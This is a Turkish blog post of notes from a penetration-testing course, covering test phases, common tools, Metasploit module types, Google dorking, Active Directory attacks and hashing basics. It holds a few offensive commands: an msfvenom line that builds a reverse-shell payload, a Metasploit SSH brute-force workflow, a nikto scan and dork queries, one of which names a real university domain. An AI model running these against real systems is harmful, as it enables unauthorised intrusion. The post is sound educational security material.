Merhabalar, Geçtiğimiz günlerde sızma testleri (pentest) üzerine, oldukça verimli ve bol lab çözümlü bir eğitim aldım. Bu yazımda, Eğitimden aldığım bazı notları ve edindiğim bilgileri sizinle paylaşmak istedim, bu kavramların siber güvenlikteki önemini ve sızma dünyasına nasıl adım atacağınızı anlattımm…
Öncelikle Sızma Testi(Pentest) Nedir? Bir sistemin, ağın veya uygulamanın güvenliğini değerlendirmek amacıyla, gerçek bir saldırgan gibi davranarak yapılan kontrollü güvenlik testidir. Amaç zarar vermek değil, zayıf noktaları keşfedip raporlamaktır.Bunu yapanlara "etik hacker" deriz. Bu kişiler yasal bir şekilde sistemleri test eder. Ayrıca Pentesti iyi kavramak için web uygulamaları ve API'ları bilmek önemlidir.
Bir sızma testi aslında rastgele yapılan denemelerden ibaret değildir. Belirli aşamalardan oluşur:
1. Keşif (Reconnaissance)
Hedef hakkında bilgi toplanır. Domain, IP adresi, kullanılan teknolojiler gibi veriler analiz edilir.
2. Tarama (Scanning)
Bu aşamada sistem aktif olarak incelenir. Örneğin Nmap gibi araçlarla açık portlar ve servisler tespit edilir.
3. Zafiyet Analizi
Bulunan servisler üzerinde bilinen açıklar araştırılır. Bu noktada OWASP Top 10 listesi önemli bir referanstır.
4. Sömürü (Exploitation)
Tespit edilen zafiyetler kullanılarak sisteme sızılmaya çalışılır. Amaç, açığın gerçekten istismar edilip edilemeyeceğini kanıtlamaktır.
Temel Pentest Araçları:
- Kali Linux — > Siber güvenlikçilerin İsviçre çakısıdır. İçerisinde bilgi toplamadan sömürüye kadar gereken yüzlerce aracın kurulu olarak gelir.
- Nmap — > "İçeride kimler var, hedef sistemin hangi portları açık, içerideki cihazlar hangi versiyonda servisler çalıştırıyor?" sorularının cevabını Nmap ile buluruz.Hedefin durumunu ilk burada anlarız.
- Wireshark — > Diyelim ki tarayıcını açtın ve bir siteye girdin. Bu basit gibi görünen işlem aslında arka planda birçok adımdan oluşur. Wireshark ile bu süreci adım adım görebilirsin..Ağdaki cihazlar birbirleriyle nasıl konuşuyor, veriler şifreli mi yoksa açık metin (cleartext) olarak mı iletiliyor diye paketleri analiz edebiliriz.
- John the Ripper — > zayıf parolaları tanımlayan popüler bir parola kırma aracıdır. Çeşitli şifreleme tekniklerini destekler ve parolaların gücünü belirlemek için kullanılır. John the ripper'ı kullanarak parolaları düzenli olarak kontrol etmek, parola politikalarının etkili olduğunu doğrulamaya yardımcı olur.
- Burp Suite — > Tarayıcı ile web sitesi arasına girer, giden–gelen istekleri (Request) yakalar ve değiştirmeni sağlar. Bankalar bu gibi zaafiyetleri önlemek için üst üste girişi önlemek gibi önlemler almışlardır.
- Metasploit Framework — > bulunan açıkları istismar etmek için kullanılan güçlü bir framework'tür. Diyelim ki Nmap ile devasa bir kalenin (hedef sistemin) etrafında keşif yaptın ve arka tarafta kilidi paslanmış, açık unutulmuş eski bir kapı (zafiyet) buldun. Hedefi gördün ama o kapıdan içeri nasıl gireceksin? İşte Metasploit, o kilidi kırmak için yanımızda taşıdığımız, içinde binlerce farklı alet barındıran devasa bir çilingir çantasıdır (framework)
- Gobuster / Dirsearch — > Bir web sitesine girdiğinizde sadece size gösterilen sayfaları (Anasayfa, İletişim, Hakkımızda) görürsünüz. Peki ya sitenin arka planında unutulmuş bir "site.com/eski_yedek.zip" dosyası veya herkesin erişimine kapalı olması gereken bir "site.com/admin_panel" sayfası varsa?İşte Gobuster tam bu noktada devreye girer. Elindeki binlerce kelimelik bir sözlüğü (wordlist) alır ve sitenin sonuna tek tek ekleyerek çok yüksek bir hızla dener. Kapı kollarını inanılmaz bir hızla yoklayan bir dedektif gibidir; kilitli olmayan veya unutulmuş bir "gizli oda" (dizin veya dosya) bulduğunda size hemen haber verir. Web sızma testlerinin keşif aşamasında, buzdağının görünmeyen kısmını ortaya çıkarmak için en büyük yardımcılarımızdan biridir. /admin, /backup, /test gibi dizinleri keşfeder
Kullanılması Gereken Temel Araçlar ve Platformlar
Pentest öğrenirken veya pratik yaparken kullanabileceğiniz bazı önemli kaynaklar:
- Shodan.io: "İnternete bağlı cihazlar için arama motoru." Hangi IP adresinde hangi servisin çalıştığını ve potansiyel zafiyetleri buradan görebilirsiniz.
- OpenCVE: Güncel zafiyetleri takip etmek ve yeni yayınlanan CVE (Common Vulnerabilities and Exposures) kayıtlarından haberdar olmak için harika bir platformdur.
- Exploit DB: Zafiyetlerin nasıl istismar edildiğini gösteren bir veritabanıdır. Kendi yazdığınız exploitleri veya analizleri burada paylaşmak, teknik CV'niz için de büyük bir artıdır.


Sızma Testinde Kullanılan Modül Türleri
Sızma testi süreçlerinde kullanılan araçlar, farklı görevleri yerine getiren modüllere ayrılmıştır. Özellikle Metasploit Framework gibi platformlarda bu modüller, saldırının planlı ve sistematik bir şekilde gerçekleştirilmesini sağlar.
Exploit modülleri, hedef sistemde bulunan güvenlik açıklarını kullanarak sisteme erişim sağlamayı amaçlar. Bu modüller, saldırının başlangıç noktasıdır ve genellikle bir zafiyetin aktif olarak istismar edilmesini içerir.
Payload modülleri ise exploit çalıştırıldıktan sonra devreye girer. Sisteme erişim sağlandıktan sonra yapılacak işlemleri belirler. Örneğin, ters bağlantı (reverse shell) açmak veya Meterpreter gibi gelişmiş kontrol araçları çalıştırmak payload'un görevleri arasındadır.
Auxiliary modüller doğrudan bir saldırı gerçekleştirmez. Bunun yerine bilgi toplama, port tarama, brute-force saldırıları ve servis analizi gibi işlemler yaparak hedef hakkında veri elde edilmesini sağlar.
Post modülleri, sisteme erişim sağlandıktan sonra kullanılır. Bu aşamada yetki yükseltme, hassas verilerin toplanması ve sistemde kalıcılık (persistence) sağlanması gibi işlemler gerçekleştirilir.
Encoder modülleri, payload'ları gizlemek veya şifrelemek için kullanılır. Bu sayede antivirüs ve güvenlik sistemlerinden kaçınmak daha kolay hale gelir.
NOP (No Operation) modülleri, exploit'in daha stabil çalışmasını sağlamak amacıyla payload içerisine etkisiz komutlar ekler. Özellikle bellek taşması (buffer overflow) saldırılarında hizalama için önemli bir rol oynar.
Evasion modülleri ise güvenlik mekanizmalarını atlatmaya odaklanır. Antivirüs ve IDS/IPS sistemlerini bypass etmek ve daha gizli (stealth) payload'lar oluşturmak için kullanılır.
Tüm bu modüller birlikte çalışarak sızma testinin aşamalarını oluşturur. Genellikle süreç; bilgi toplama ile başlar, zafiyetin istismar edilmesiyle devam eder ve sistem üzerinde kontrol sağlandıktan sonra ileri seviye işlemlerle tamamlanır.
"Google Dorking" ile İstihbarat Toplama
Siber güvenlikte "keşif" (reconnaissance) aşaması en önemli kısımdır. Google'da basit aramalar yaparak kritik bilgilere ulaşmak mümkündür:
- inurl: Belirli bir kelimenin URL içinde geçmesini sağlar. (Örneğin:
inurl:admin )- site: Sadece belirli bir site içinde arama yapar. (Örneğin:
site:hedefsite.com) - site:sakarya.edu.tr (yönetim panelleri bu şekilde halka açık olmamalıdır , hassas dosyaların dışarıya (Google'a) açık olması büyük bir güvenlik zafiyetidir. Güvenli bir sistemde bu veriler indekslenmemelidir.)
- filetype: Belirli dosya uzantılarını aratmanızı sağlar. (Örneğin:
filetype:pdfveyafiletype:xlsx)
Metasploit ile Brute Force ve Payload Oluşturma
Pentest süreçlerinde en çok başvurulan araçlardan biri Metasploit'tir. İşte temel kullanım senaryoları:
- SSH Brute Force: Hedef sistemde SSH servisinin açık olduğunu belirlediğinizde,
search sshkomutuyla ilgili modülleri bulabilir veset rhostsile hedef IP'yi tanımlayarak kaba kuvvet saldırısı gerçekleştirebilirsiniz. Bu aşamada doğru wordlist (parola listesi) seçimi kritiktir. - MSFVenom ile Zararlı Yazılım Üretimi: Payload, hedef sistemde çalıştırılacak olan asıl koddur. Örneğin;
msfvenom -p linux/x64/shell_reverse_tcp lhost=<IP> lport=<PORT> -f elf -o malwarekomutuyla ters bağlantı kuran bir zararlı yazılım üretebilirsiniz. - Meterpreter: Hedef sisteme sızdıktan sonra kullanılan, standart bir kabuktan (shell) çok daha fazlasını sunan gelişmiş bir payload türüdür.
Web Zafiyet Tarama ve Analiz Araçları
Web uygulamalarını analiz ederken otomasyon ve manuel kontrolü birleştirmek gerekir:
Nikto: Web sunucularındaki tehlikeli dosyaları ve güncel olmayan yazılımları bulmak için kullanılan güçlü bir tarayıcıdır.
nikto -h http://example.com Bu komut:
*example.com web sunucusunu tarar
*Güvenlik açıklarını, yanlış yapılandırmaları bulmaya çalışır
- Robots.txt Analizi: Bir siteye sızmaya çalışırken ilk bakılması gereken yerlerden biridir. Geliştiricilerin arama motorlarından gizlediği yollar, bize kritik ipuçları verebilir.
https://target-site.com/robots.txt*Bir sitede açık bulmaya çalışırken ilk bakılan yerdir. gizlenen dizinleri gösterir.
- Burp Suite: Web trafiğini araya girerek (Proxy) kontrol etmemizi sağlar. Özellikle brute force korumalarını (ardışık hatalı giriş engellemeleri) test etmek ve API kontrolleri yapmak için vazgeçilmezdir.
- WordPress Güvenliği: Bir sitenin WordPress versiyonunu öğrenmek (sayfa kaynağına bakarak), o sürüme özel bilinen zafiyetleri (CVE) hızlıca bulmanızı sağlar.
Kurumsal Ağların Kalbi: Active Directory (AD)
Active Directory yapısını anlamak, kurumsal ağlarda "yetki yükseltme" (privilege escalation) için anahtardır:
- Authentication (Kimlik Doğrulama) vs. Authorization (Yetkilendirme): Kim olduğunuzun kanıtlanması ile neler yapmaya yetkiniz olduğunun belirlenmesi arasındaki farkı iyi anlamak gerekir.
- NTLM ve Kerberos: AD ortamında kullanılan temel protokollerdir. Kerberos, "bilet" (ticket) sistemiyle çalışır ve bu biletlerin çalınması/sahtesinin üretilmesi (Kerberoasting) en yaygın saldırı yöntemlerindendir.
- AD Enumeration: Ağdaki servisleri ve kullanıcıları bulmak için
nmapveKerbrutegibi araçlar kullanılır. Hedef, genellikle bir "Domain Admin" en yetkili hesabı ele geçirerek ağın tam kontrolünü sağlamaktır.
Güvenlik Temelleri: Encoding, Encryption ve Hashing
Bu üç kavram sıkça karıştırılır ancak amaçları tamamen farklıdır:
- Encoding (Base64 vb.): Veriyi bir formattan diğerine çevirmektir. Gizlilik sağlamaz, sadece verinin iletimini kolaylaştırır.
- Encryption (Şifreleme): Bir anahtar ve sertifika kullanarak veriyi okunamaz hale getirir. Anahtar olmadan geri döndürülemez.
- Hashing (Özetleme): Verinin benzersiz bir özetini çıkarmaktır. Geri dönüşü yoktur (tek yönlüdür). Bankalar gibi kuruluşlar parolaları asla açık metin olarak değil, hash'lenmiş şekilde saklar.
White List vs Black List: Siber güvenlikte en kritik konulardan biri, kimin ya da neyin sisteme erişebileceğini belirlemektir. Bu noktada karşımıza iki temel yaklaşım çıkar: whitelist (izin listesi) ve blacklist (engel listesi). Bu iki yöntem, sistemleri koruma şeklimizi doğrudan etkiler.Whitelist yaklaşımı, yalnızca önceden güvenilir olarak tanımlanmış kullanıcıların, IP adreslerinin veya uygulamaların sisteme erişmesine izin verir. Bunun dışındaki her şey varsayılan olarak engellenir.Blacklist yaklaşımı ise tam tersine çalışır. Zararlı olduğu bilinen kullanıcılar, IP adresleri veya uygulamalar engellenir; geri kalan her şey sisteme erişebilir.Pentest (Sızma Testi) Açısından bu iki yaklaşımın varlığı, saldırı stratejisini doğrudan etkiler.
- Eğer sistem whitelist kullanıyorsa, amaç bu kısıtlamayı bypass etmek olur.
- Eğer blacklist kullanıyorsa, hedef genellikle filtrelenmeyen yolları bularak sistemi aşmaktır.
Bu nedenle whitelist ve blacklist mantığını anlamak, sadece savunma değil aynı zamanda saldırı perspektifi için de kritik öneme sahiptir.